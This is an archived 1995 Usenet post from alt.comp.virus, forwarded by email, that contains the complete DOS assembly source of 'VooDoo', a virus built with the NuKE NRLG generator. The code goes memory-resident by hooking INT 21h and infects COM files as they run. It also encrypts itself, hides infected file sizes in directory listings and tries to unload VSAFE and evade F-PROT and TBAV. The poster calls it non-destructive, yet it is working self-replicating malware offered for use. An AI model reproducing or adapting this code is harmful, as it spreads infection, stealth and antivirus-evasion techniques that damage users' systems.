home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / NUKEVIR.ASM < prev    next >
Assembly Source File  |  1995-10-29  |  24KB  |  484 lines
  1. From smtp Thu Feb  9 11:43 EST 1995
  2. Received: from lynx.dac.neu.edu by POBOX.jwu.edu; Thu,  9 Feb 95 11:43 EST
  3. Received: by lynx.dac.neu.edu (8.6.9/8.6.9) 
  4.      id LAA03601 for joshuaw@pobox.jwu.edu; Thu, 9 Feb 1995 11:34:53 -0500
  5. Date: Thu, 9 Feb 1995 11:34:53 -0500
  6. From: lynx.dac.neu.edu!ekilby (Eric Kilby)
  7. Content-Length: 23204
  8. Content-Type: binary
  9. Message-Id: <199502091634.LAA03601@lynx.dac.neu.edu>
  10. To: pobox.jwu.edu!joshuaw 
  11. Subject: (fwd) Re: Not-So-Destructive Virii...<post please>
  12. Newsgroups: alt.comp.virus
  13. Status: RO
  14.  
  15. Path: chaos.dac.neu.edu!usenet.eel.ufl.edu!usenet.cis.ufl.edu!caen!uwm.edu!news.moneng.mei.com!howland.reston.ans.net!nntp.crl.com!crl.crl.com!not-for-mail
  16. From: yojimbo@crl.com (Douglas Mauldin)
  17. Newsgroups: alt.comp.virus
  18. Subject: Re: Not-So-Destructive Virii...<post please>
  19. Date: 6 Feb 1995 21:44:13 -0800
  20. Organization: CRL Dialup Internet Access    (415) 705-6060  [Login: guest]
  21. Lines: 450
  22. Message-ID: <3h71bd$js1@crl.crl.com>
  23. References: <3h5ubg$4s7@usenet.srv.cis.pitt.edu>
  24. NNTP-Posting-Host: crl.com
  25. X-Newsreader: TIN [version 1.2 PL2]
  26.  
  27. ; Here's a simple, non-destructive virus created with NRLG (NuKE Randomic 
  28. ; Life Generator). All it does is display a message on June 6th ( I believe).
  29.  
  30. ;┌────────────────────────────────────────────────────────┐
  31. ;│ THiS iS a [NuKE] RaNDoMiC LiFe GeNeRaToR ViRuS.        │ [NuKE] PoWeR
  32. ;│ CReaTeD iS a N.R.L.G. PRoGRaM V0.66 BeTa TeST VeRSioN  │ [NuKE] WaReZ
  33. ;│ auToR: aLL [NuKE] MeMeBeRS                             │ [NuKE] PoWeR
  34. ;│ [NuKE] THe ReaL PoWeR!                                 │ [NuKE] WaReZ
  35. ;│ NRLG WRiTTeR: AZRAEL (C) [NuKE] 1994                   │ [NuKE] PoWeR
  36. ;└────────────────────────────────────────────────────────┘
  37.  
  38. .286
  39. code    segment
  40. assume cs:code,ds:code
  41. org  100h
  42.  
  43. start:  CALL NEXT 
  44.  
  45. NEXT:  
  46.        mov di,sp             ;take the stack pointer location 
  47.        mov bp,ss:[di]        ;take the "DELTA HANDLE" for my virus       
  48.        sub bp,offset next    ;subtract the large code off this code 
  49.                              ;
  50. ;*******************************************************************
  51. ;                      #1 DECRYPT ROUTINE                               
  52. ;*******************************************************************
  53.  
  54. cmp byte ptr cs:[crypt],0b9h ;is the first runnig?        
  55. je crypt2                    ;yes! not decrypt              
  56. ;----------------------------------------------------------                                          
  57. mov cx,offset fin            ;cx = large of virus               
  58. lea di,[offset crypt]+ bp    ;di = first byte to decrypt          
  59. mov dx,1                     ;dx = value for decrypt          
  60. ;----------------------------------------------------------                                                   
  61. deci:                        ;deci = fuck label!                                    
  62. ;----------------------------------------------------------
  63.  
  64.  inc byte ptr [di]
  65. sub word ptr [di],0381h
  66.  inc di
  67. inc di
  68. ;----------------------------------------------------------                                                
  69. jmp bye                      ;######## BYE BYE F-PROT ! ##########     
  70. mov ah,4ch
  71. int 21h
  72. bye:                         ;#### HEY FRIDRIK! IS ONLY A JMP!!###      
  73. ;-----------------------------------------------------------                               
  74. mov ah,0bh                   ;######### BYE BYE TBAV ! ##########     
  75. int 21h                      ;### (CANGE INT AT YOU PLEASURE) ###        
  76. ;----------------------------------------------------------                                   
  77. loop deci                    ;repeat please!               
  78.                              ;           
  79. ;*****************************************************************
  80. ;                   #2 DECRYPT ROUTINE                                                    
  81. ;*****************************************************************
  82.                               ;    
  83. crypt:                        ;fuck label!                  
  84.                               ;                
  85. mov cx,offset fin             ;cx = large of virus                 
  86. lea di,[offset crypt2] + bp   ;di = first byte to decrypt                  
  87. ;---------------------------------------------------------------                                              
  88. deci2:                        ;              
  89. xor byte ptr cs:[di],1        ;decrytion rutine          
  90. inc di                        ;very simple...            
  91. loop deci2                    ;           
  92. ;---------------------------------------------------------------
  93. crypt2:                       ;fuck label!          
  94.                               ;                  
  95. MOV AX,0CACAH                 ;call to my resident interrup mask                  
  96. INT 21H                       ;for chek "I'm is residet?"   
  97. CMP Bh,0CAH                   ;is equal to CACA?
  98. JE PUM2                       ;yes! jump to runnig program
  99. call action
  100. ;*****************************************************************
  101. ; NRLG FUNCTIONS  (SELECTABLE)
  102. ;*****************************************************************
  103.  
  104.  call ANTI_V
  105. ;****************************************************************
  106. ;               PROCESS TO REMAIN RESIDENT                                                                  
  107. ;****************************************************************   
  108.  
  109. mov   ax,3521h                  
  110. int   21h                        ;store the int 21 vectors 
  111. mov   word ptr [bp+int21],bx     ;in cs:int21
  112. mov   word ptr [bp+int21+2],es   ;
  113. ;---------------------------------------------------------------
  114. push cs                          ; 
  115. pop ax                           ;ax = my actual segment                             
  116. dec ax                           ;dec my segment for look my MCB
  117. mov es,ax                        ;
  118. mov bx,es:[3]                    ;read the #3 byte of my MCB =total used memory
  119. ;---------------------------------------------------------------
  120. push cs                          ;   
  121. pop es                           ;   
  122. sub bx,(offset fin - offset start + 15)/16  ;subtract the large of my virus 
  123. sub bx,17 + offset fin           ;and 100H for the PSP total
  124. mov ah,4ah                       ;used memory
  125. int 21h                          ;put the new value to MCB
  126. ;---------------------------------------------------------------
  127. mov bx,(offset fin - offset start + 15)/16 + 16 + offset fin     
  128. mov ah,48h                      ;                              
  129. int 21h                         ;request the memory to fuck DOS!                                                 
  130. ;---------------------------------------------------------------
  131. dec ax                          ;ax=new segment 
  132. mov es,ax                       ;ax-1= new segment MCB 
  133. mov byte ptr es:[1],8           ;put '8' in the segment
  134. ;--------------------------------------------------------------                                
  135. inc ax                          ; 
  136. mov es,ax                       ;es = new segment
  137. lea si,[bp + offset start]      ;si = start of virus 
  138. mov di,100h                     ;di = 100H (psp position) 
  139. mov cx,offset fin - start       ;cx = lag of virus
  140. push cs                         ;
  141. pop ds                          ;ds = cs
  142. cld                             ;mov the code
  143. rep movsb                       ;ds:si >> es:di
  144. ;--------------------------------------------------------------
  145. mov dx,offset virus             ;dx = new int21 handler
  146. mov ax,2521h                    ;
  147. push es                         ; 
  148. pop ds                          ; 
  149. int 21h                         ;set the vectors 
  150. ;-------------------------------------------------------------
  151. pum2:                               ;  
  152.                                     ; 
  153. mov ah,byte ptr [cs:bp + real]      ;restore the 3  
  154. mov byte ptr cs:[100h],ah           ;first bytes  
  155. mov ax,word ptr [cs:bp + real + 1]  ;
  156. mov word ptr cs:[101h],ax           ;
  157. ;-------------------------------------------------------------
  158. mov ax,100h                         ;
  159. jmp ax                              ;jmp to execute
  160.                                     ;
  161. ;*****************************************************************
  162. ;*             HANDLER FOR THE INT 21H                                       
  163. ;*****************************************************************
  164.                           ;          
  165. VIRUS:                    ;  
  166.                           ;     
  167. cmp ah,4bh                ;is a 4b function? 
  168. je REPRODUCCION           ;yes! jump to reproduce !
  169. cmp ah,11h
  170. je dir
  171. cmp ah,12h
  172. je dir
  173. dirsal:
  174. cmp AX,0CACAH             ;is ... a caca function? (resident chek)
  175. jne a3                    ;no! jump to a3
  176. mov bh,0cah               ;yes! put ca in bh
  177. a3:                       ;
  178. JMP dword ptr CS:[INT21]  ;jmp to original int 21h
  179. ret                       ;    
  180. make db '[NuKE] N.R.L.G. AZRAEL'
  181. dir:
  182. jmp dir_s
  183. ;-------------------------------------------------------------
  184. REPRODUCCION:              ;       
  185.                            ;
  186. pushf                      ;put the register
  187. pusha                      ;in the stack
  188. push si                    ;
  189. push di                    ;
  190. push bp                    ;
  191. push es                    ;
  192. push ds                    ;
  193. ;-------------------------------------------------------------
  194. push cs                    ;  
  195. pop ds                     ;  
  196. mov ax,3524H               ;get the dos error control                      
  197. int 21h                    ;interupt                        
  198. mov word ptr error,es      ;and put in cs:error                      
  199. mov word ptr error+2,bx    ;            
  200. mov ax,2524H               ;change the dos error control                    
  201. mov dx,offset all          ;for my "trap mask"                      
  202. int 21h                    ;         
  203. ;-------------------------------------------------------------
  204. pop ds                     ;
  205. pop es                     ;restore the registers
  206. pop bp                     ;
  207. pop di                     ;
  208. pop si                     ;
  209. popa                       ;
  210. popf                       ;
  211. ;-------------------------------------------------------------
  212. pushf                      ;put the registers
  213. pusha                      ;     
  214. push si                    ;HEY! AZRAEL IS CRAZY?
  215. push di                    ;PUSH, POP, PUSH, POP
  216. push bp                    ;PLEEEEEAAAAAASEEEEEEEEE
  217. push es                    ;PURIFY THIS SHIT!
  218. push ds                    ;
  219. ;-------------------------------------------------------------
  220. mov ax,4300h                 ;       
  221. int 21h                      ;get the file     
  222. mov word ptr cs:[attrib],cx  ;atributes   
  223. ;-------------------------------------------------------------
  224. mov ax,4301h                 ;le saco los atributos al        
  225. xor cx,cx                    ;file 
  226. int 21h                      ;
  227. ;-------------------------------------------------------------  
  228. mov ax,3d02h                 ;open the file 
  229. int 21h                      ;for read/write
  230. mov bx,ax                    ;bx=handle
  231. ;-------------------------------------------------------------
  232. mov ax,5700h                ;     
  233. int 21h                     ;get the file date  
  234. mov word ptr cs:[hora],cx   ;put the hour    
  235. mov word ptr cs:[dia],dx    ;put the day    
  236. and cx,word ptr cs:[fecha]  ;calculate the seconds    
  237. cmp cx,word ptr cs:[fecha]  ;is ecual to 58? (DEDICATE TO N-POX)    
  238. jne seguir                  ;yes! the file is infected!     
  239. jmp cerrar                  ;
  240. ;------------------------------------------------------------
  241. seguir:                     ;     
  242. mov ax,4202h                ;move the pointer to end
  243. call movedor                ;of the file
  244. ;------------------------------------------------------------
  245. push cs                     ;   
  246. pop ds                      ; 
  247. sub ax,3                    ;calculate the 
  248. mov word ptr [cs:largo],ax  ;jmp long
  249. ;-------------------------------------------------------------
  250. mov ax,04200h               ;move the pointer to  
  251. call movedor                ;start of file
  252. ;----------------------------------------------------------                                          
  253. push cs                     ;   
  254. pop ds                      ;read the 3 first bytes  
  255. mov ah,3fh                  ;                           
  256. mov cx,3                    ;
  257. lea dx,[cs:real]            ;put the bytes in cs:[real]
  258. int 21h                     ;
  259. ;----------------------------------------------------------                                          
  260. cmp word ptr cs:[real],05a4dh   ;the 2 first bytes = 'MZ' ?
  261. jne er1                         ;yes! is a EXE... fuckkk!
  262. ;----------------------------------------------------------
  263. jmp cerrar
  264. er1:
  265. ;----------------------------------------------------------                                          
  266. mov ax,4200h      ;move the pointer                               
  267. call movedor      ;to start fo file
  268. ;----------------------------------------------------------                                          
  269. push cs           ;       
  270. pop ds            ; 
  271. mov ah,40h        ;  
  272. mov cx,1          ;write the JMP
  273. lea dx,[cs:jump]  ;instruccion in the
  274. int 21h           ;fist byte of the file
  275. ;----------------------------------------------------------                                          
  276. mov ah,40h         ;write the value of jmp
  277. mov cx,2           ;in the file 
  278. lea dx,[cs:largo]  ; 
  279. int 21h            ;
  280. ;----------------------------------------------------------                                          
  281. mov ax,04202h      ;move the pointer to 
  282. call movedor       ;end of file
  283. ;----------------------------------------------------------                                          
  284. push cs                     ;        
  285. pop ds                      ;move the code  
  286. push cs                     ;of my virus      
  287. pop es                      ;to cs:end+50     
  288. cld                         ;for encrypt          
  289. mov si,100h                 ;    
  290. mov di,offset fin + 50      ;      
  291. mov cx,offset fin - 100h    ;        
  292. rep movsb                   ;      
  293. ;----------------------------------------------------------                                          
  294. mov cx,offset fin           
  295. mov di,offset fin + 50 + (offset crypt2 - offset start)  ;virus         
  296. enc:                              ;           
  297. xor byte ptr cs:[di],1            ;encrypt the virus              
  298. inc di                            ;code                   
  299. loop enc                          ;              
  300. ;---------------------------------------------------------
  301. mov cx,offset fin           
  302. mov di,offset fin + 50 + (offset crypt - offset start)  ;virus         
  303. mov dx,1
  304. enc2:                              ;           
  305.  
  306.  add word ptr [di],0381h
  307. dec byte ptr [di]
  308.  inc di
  309. inc di                             ;the virus code                  
  310. loop enc2                          ;              
  311. ;--------------------------------------------
  312. mov ah,40h                       ;  
  313. mov cx,offset fin - offset start ;copy the virus              
  314. mov dx,offset fin + 50           ;to end of file
  315. int 21h                          ;
  316. ;----------------------------------------------------------                                          
  317. cerrar:                          ;
  318.                                  ;restore the       
  319. mov ax,5701h                     ;date and time    
  320. mov cx,word ptr cs:[hora]        ;file   
  321. mov dx,word ptr cs:[dia]         ;     
  322. or cx,word ptr cs:[fecha]        ;and mark the seconds  
  323. int 21h                          ; 
  324. ;----------------------------------------------------------                                          
  325. mov ah,3eh                       ; 
  326. int 21h                          ;close the file
  327. ;----------------------------------------------------------                                          
  328. pop ds                           ;
  329. pop es                           ;restore the 
  330. pop bp                           ;registers
  331. pop di                           ; 
  332. pop si                           ;
  333. popa                             ;
  334. popf                             ;
  335. ;----------------------------------------------------------                                          
  336. pusha                           ;   
  337.                                 ;                                                             
  338. mov ax,4301h                    ;restores the atributes 
  339. mov cx,word ptr cs:[attrib]     ;of the file  
  340. int 21h                         ;   
  341.                                 ;
  342. popa                            ; 
  343. ;----------------------------------------------------------                                          
  344. pushf                           ;                           
  345. pusha                           ; 8-(  = f-prot                       
  346. push si                         ;                       
  347. push di                         ; 8-(  = tbav   
  348. push bp                         ;                       
  349. push es                         ; 8-)  = I'm                        
  350. push ds                         ;                              
  351. ;----------------------------------------------------------                                          
  352. mov ax,2524H                    ;                         
  353. lea bx,error                    ;restore the                         
  354. mov ds,bx                       ;errors handler      
  355. lea bx,error+2                  ;                         
  356. int 21h                         ;                       
  357. ;----------------------------------------------------------                                          
  358. pop ds                          ;
  359. pop es                          ;
  360. pop bp                          ;restore the 
  361. pop di                          ;resgisters
  362. pop si                          ;
  363. popa                            ;
  364. popf                            ;
  365. ;----------------------------------------------------------                                          
  366. JMP A3                          ;jmp to orig. INT 21
  367.                                 ;
  368. ;**********************************************************
  369. ;           SUBRUTINES AREA
  370. ;**********************************************************
  371.                                 ;
  372. movedor:                        ;   
  373.                                 ; 
  374. xor cx,cx                       ;use to move file pointer         
  375. xor dx,dx                       ;       
  376. int 21h                         ;        
  377. ret                             ;        
  378. ;----------------------------------------------------------                                          
  379. all:                            ;  
  380.                                 ; 
  381. XOR AL,AL                       ;use to set 
  382. iret                            ;error flag
  383.  
  384. ;***********************************************************
  385. ;         DATA AREA
  386. ;***********************************************************
  387. largo  dw  ?
  388. jump   db  0e9h
  389. real   db  0cdh,20h,0
  390. hora   dw  ?
  391. dia    dw  ?
  392. attrib dw  ?
  393. int21  dd  ?
  394. error  dd  ?
  395.  
  396.  ;---------------------------------
  397. action:                          ;Call label      
  398. MOV AH,2AH                       ;        
  399. INT 21H                          ;get date           
  400. CMP Dl,byte ptr cs:[action_dia+bp]  ;is equal to my day?                 
  401. JE  cont                         ;nop! fuck ret          
  402. cmp byte ptr cs:[action_dia+bp],32  ;
  403. jne no_day                       ;
  404. cont:                            ; 
  405. cmp dh,byte ptr cs:[action_mes+bp]  ;is equal to my month?            
  406. je set                           ;
  407. cmp byte ptr cs:[action_mes+bp],13  ;
  408. jne NO_DAY                       ;nop! fuck ret           
  409. set:                             ; 
  410. mov AH,9                         ;yeah!!          
  411. MOV DX,OFFSET PAO                ;print my text!         
  412. INT 21H                          ;now!   
  413. INT 20H                          ;an finsh te program        
  414. NO_DAY:                          ;label to incorrect date              
  415. ret                              ;return from call 
  416. ;---------------------------------
  417.  
  418.  
  419. PAO:
  420. DB 10,13,'Congratulations! You Have Been  infected by VooDoo...           Compliments of HeadHunter     ','$'
  421.  
  422. ;---------------------------------
  423. ANTI_V:                          ; 
  424. MOV AX,0FA01H                    ;REMOVE VSAFE FROM MEMORY        
  425. MOV DX,5945H                     ; 
  426. INT 21H                          ;           
  427. ret                              ;
  428. ;---------------------------------
  429.  
  430.  ;*****************************************************
  431. dir_s:                                                               
  432.              pushf                                                         
  433.              push    cs                                                    
  434.              call    a3                      ;Get file Stats                       
  435.              test    al,al                   ;Good FCB?                            
  436.              jnz     no_good                 ;nope                                 
  437.              push    ax                                                 
  438.              push    bx                                                    
  439.              push    es                                                    
  440.              mov     ah,51h                  ;Is this Undocmented? huh...          
  441.              int     21h                                                   
  442.              mov     es,bx                                                 
  443.              cmp     bx,es:[16h]                                           
  444.              jnz     not_infected                        
  445.              mov     bx,dx                                                 
  446.              mov     al,[bx]                                               
  447.              push    ax                                                    
  448.              mov     ah,2fh                   ;Get file DTA                         
  449.              int     21h                                                   
  450.              pop     ax                                                    
  451.              inc     al                                                    
  452.              jnz     fcb_okay                                              
  453.              add     bx,7h                                                 
  454. fcb_okay:    mov     ax,es:[bx+17h]                                   
  455.              and     ax,1fh                   ;UnMask Seconds Field                 
  456.              xor     al,byte ptr cs:fechad                                      
  457.              jnz     not_infected                                            
  458.              and     byte ptr es:[bx+17h],0e0h                            
  459.              sub     es:[bx+1dh],OFFSET FIN - OFFSET START  ;Yes minus virus size       
  460.              sbb     es:[bx+1fh],ax                                        
  461. not_infected:pop     es                                                    
  462.              pop     bx                                                    
  463.              pop     ax                                                    
  464. no_good:     iret                                                          
  465. ;********************************************************************
  466. ; THIS DIR STEALTH METOD IS EXTRAC FROM NUKEK INFO JOURNAL 4 & N-POX 
  467. ;*********************************************************************
  468.  
  469.  action_dia Db 06H ;day for the action
  470. action_mes Db 06H ;month for the action
  471. FECHA DW 01eH ;Secon for mark
  472. FECHAd Db 01eH ;Secon for mark dir st
  473. fin:
  474. code ends
  475. end start
  476.  
  477.  
  478. --
  479. Eric "Mad Dog" Kilby                                 maddog@ccs.neu.edu
  480. The Great Sporkeus Maximus                 ekilby@lynx.dac.neu.edu
  481. Student at the Northeatstern University College of Computer Science 
  482. "I Can't Believe It's Not Butter"
  483.  
  484.